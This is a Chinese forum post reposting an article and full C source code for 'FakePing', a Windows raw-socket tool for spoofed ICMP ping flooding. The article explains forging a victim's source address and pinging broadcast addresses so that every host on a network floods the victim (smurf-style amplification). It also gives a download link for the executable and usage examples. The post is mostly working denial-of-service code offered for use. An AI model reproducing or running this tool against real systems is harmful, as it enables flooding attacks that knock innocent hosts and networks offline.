查看: 11442|回复: 0

pingflood攻击

[复制链接]
发表于 2006-8-15 18:44:00 | 显示全部楼层 |阅读模式
我们今天是来说Ping的,Ping是通过发送ICMP报文(类型8代码0)探寻网络主机是是否存在的一个工具,很久以前,一部分操作系统(例如win95),不能很好处理过大的Ping包,导致出现了Ping to Death的攻击方式(用大Ping包搞垮对方或者塞满网络),随着操作系统的升级,网络带宽档 升级、计算机硬件的升级,目前,大Ping包基本上没有很大的攻击效果(分布式攻击除外),如果一定要使用Ping包去攻击别的主机,除非是利用TCP/IP协议?其他特性或者网络拓扑结构的缺陷放大攻击的力度(所谓正反馈)


正常情况下,Ping的流程是这样的:

主机A发送ICMP 8,0报文给主机B


     伪装为主机C 错误的回复

主机A--------------------->主机B------------------>主机C

这种情况下,由于主机A只需要不断发送Ping报文而不需要处理返回的EchoReply,所以攻击击力度成倍的增加,同时实际上主机B和主机C都是被进攻的目标,而?


不会留下自己的痕迹,是一种隐蔽的一石二鸟的攻击方法。


上面的方法用SOCK_RAW伪装IP就可以轻松实现,不过即使放大了两倍,对于比较强壮的操作作系统和较大的带宽,也不见得有多大的效果,难道我们又来组织运动?不好吧,还是让敌人给我们放大好了,TCP/IP中有一个概念叫做广播,所谓广播的意思?

会接收发往这个地址的报文(就像电台广播一样),要是?难道?没错!如果我们往广播地地址发送一个ICMP

ECHO报文(就是Ping广播地址一下),结果会得到非常多的回应,以太网内每一个允许接收收广播报文的主机都会回应一个ICMP_ECHOREPLY,如果你想试验,可以在unix的机器上Ping一下你局域网的广播地址,会看到很多回应的的dup包,就是重复的应

因为微软的Ping程序不对多个回应进行解包,收到第一个包以后就丢弃后面的了,同样微软软的系统默认也不回应广播地址的包,所以你最好在一个大量unix主机的局域网内测试?


说到这里,聪明的你肯定知道我想干什么了吧?嘿嘿嘿嘿,没错,当我们伪装成被攻击主机机向一个广播地址发送Ping请求的时候,所有这个广播地址内的主机都会回应这个Ping请求(当然是回应给被攻击主机啦,人人都以为是它Ping的呢),这样,?

内回应Ping包的主机数量)


我写了一个FakePing的工具,可以在Http://www.patching.net/shotgun/FakePing.exe下载载,使用方法是FakePing.exe FakeIP TargetIP


[PacketSize],如果TargetIP是广播地址,那么FakeIP是被攻击目标.

源码公布如下:(写的比较匆忙,代码比较乱,见笑了) */

//////////////////////////////////////////////////////////////////////////

//                                   //

//   FakePing For Win2K by Shotgun                  //

//                                   //

//   Released:    [2001.4]                    //

//   Author:     [Shotgun]                    //

//   Homepage:                            //

//               [http://IT.Xici.Net]          //

//               [http://WWW.Patching.Net]        //

//                                   //

//////////////////////////////////////////////////////////////////////////

#include <winsock2.h>

#include <Ws2tcpip.h>

#include <stdio.h>

#include <stdlib.h>


#define SEQ 0x28376839

#define STATUS_FAILED 0xFFFF file://错误返回值


typedef struct _iphdr file://定义IP首部

{

unsigned char h_verlen; file://4位首部长度,4位IP版本号

unsigned char tos; file://8位服务类型TOS

unsigned short total_len; file://16位总长度(字节)

unsigned short ident; file://16位标识
unsigned short frag_and_flags; file://3位标志位
unsigned char ttl;  file://8位生存时间 TTL

unsigned char proto; file://8位协议 (TCP, UDP 或其他)

unsigned short checksum; file://16位IP首部校验和

unsigned int sourceIP; file://32位源IP地址

unsigned int destIP; file://32位目的IP地址

}IP_HEADER;


//

// 定义ICMP首部

typedef struct _ihdr

{

BYTE i_type; file://8位类型

BYTE i_code; file://8位代码

USHORT i_cksum; file://16位校验和

USHORT i_id; file://识别号(一般用进程号作为识别号)

USHORT i_seq; file://报文序列号

ULONG timestamp; file://时间戳

}ICMP_HEADER;



file://CheckSum:计算校验和的子函数

USHORT checksum(USHORT *buffer, int size)

{
  unsigned long cksum=0;
  while(size >1) {
   cksum+=*buffer++;

size -=sizeof(USHORT);

}

if(size ) {

cksum += *(UCHAR*)buffer;

}

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >>16);

return (USHORT)(~cksum);

}


file://FakePing主函数

int main(int argc, char **argv)

{

int datasize,ErrorCode,counter,flag;

int TimeOut=2000, SendSEQ=0, PacketSize=32;

char SendBuf[65535]={0};

WSADATA wsaData;

SOCKET SockRaw=(SOCKET)NULL;

struct sockaddr_in DestAddr;

IP_HEADER ip_header;

ICMP_HEADER icmp_header;

char FakeSourceIp[20],DestIp[20];

file://接受命令行参数

if (argc<3)

{

printf(FakePing by Shotgun\\n);

printf(\\tThis program can do Ping-Flooding from a FakeIP\\n);

printf(\\tUsing a BroadCast IP as the FakeIP will enhance the effect\\n);

printf(Email:\\n);

printf(\\tShotgun@Xici.Net\\n);

printf(HomePage:\\n);

printf(\\thttp://It.Xici.Net\\n);

printf(\\thttp://www.Patching.Net\\n);

printf(USAGE:\\n\\tFakePing.exe FakeSourceIp DestinationIp [PacketSize]\\n);

printf(Example:\\n);

printf(\\tFakePing.exe 192.168.15.23 192.168.15.255\\n);

printf(\\tFakePing.exe 192.168.15.23 192.168.15.200 6400\\n);

exit(0);

}

strcpy(FakeSourceIp,argv[1]);

strcpy(DestIp,argv[2]);

if (argc>3) PacketSize=atoi(argv[3]);

if (PacketSize>60000)

{

printf(Error! Packet size too big, must <60K\\n);

exit(0);

}

printf(Now Fake %s Ping %s using Packet size=%d bytes\\n,

FakeSourceIp, DestIp, PacketSize);

printf(\\tCtrl+C to Quit\\n);

file://初始化SOCK_RAW

if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)

{

fprintf(stderr,WSAStartup failed: %d\\n,ErrorCode);

ExitProcess(STATUS_FAILED);

}

  if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)

{

fprintf(stderr,WSASocket() failed: %d\\n,WSAGetLastError());

ExitProcess(STATUS_FAILED);

}

flag=TRUE;

file://设置IP_HDRINCL以自己填充IP首部

ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

if(ErrorCode==SOCKET_ERROR)

printf(Set IP_HDRINCL Error!\\n);

__try{

file://设置发送超时
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));

if (ErrorCode==SOCKET_ERROR)

{

fprintf(stderr,Failed to set send TimeOut: %d\\n,WSAGetLastError());

__leave;

}

memset(&DestAddr,0,sizeof(DestAddr));

DestAddr.sin_family=AF_INET;

DestAddr.sin_addr.s_addr=inet_addr(DestIp);

file://填充IP首部

ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); file://高四位IP鞍 本号,?四位首部长度

ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); file://16位总长度((字节?

ip_header.ident=1;


file://16位标识

ip_header.frag_and_flags=0;


file://3位标志位

ip_header.ttl=128;


file://8位生存时间 TTL

ip_header.proto=IPPROTO_ICMP;


file://8位协议 (TCP, UDP 或其他)

ip_header.checksum=0;


file://16位IP首部校验和

ip_header.sourceIP=inet_addr(FakeSourceIp); file://32


file://位源IP地址

ip_header.destIP=inet_addr(DestIp);


file://32位目的IP地址

file://填充ICMP首部

icmp_header.i_type = 8;

icmp_header.i_code = 0;

icmp_header.i_cksum = 0;

icmp_header.i_id = 2;

icmp_header.timestamp = 999;

icmp_header.i_seq=999;

memcpy(SendBuf, &icmp_header, sizeof(icmp_header));

memset(SendBuf+sizeof(icmp_header), 'E', PacketSize);

icmp_header.i_cksum = checksum((USHORT *)SendBuf, sizeof(icmp_header)+PacketSize);

memcpy(SendBuf,&ip_header,sizeof(ip_header));

memcpy(SendBuf+sizeof(ip_header), &icmp_header, sizeof(icmp_header));

memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header), 'E', PacketSize);

memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header)+PacketSize, 0, 1);

file://计算发送缓冲区的大小

datasize=sizeof(ip_header)+sizeof(icmp_header)+PacketSize;

ip_header.checksum=checksum((USHORT *)SendBuf,datasize);

file://填充发送缓冲区

memcpy(SendBuf,&ip_header, sizeof(ip_header));

while(1)

{

Sleep(100);

printf(.);

for(counter=0;counter<1024;counter++)

{

file://发送ICMP报文

ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,sizeof(DestAddr));

if (ErrorCode==SOCKET_ERROR) printf(\\nSend Error:%d\\n,GetLastError());

}

}

}//End of try

__finally {

if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);

WSACleanup();

}

return 0;

}
/*
回复

使用道具 举报

您需要登录后才可以回帖 登录 | CSNA会员注册

本版积分规则

快速回复 返回顶部 返回列表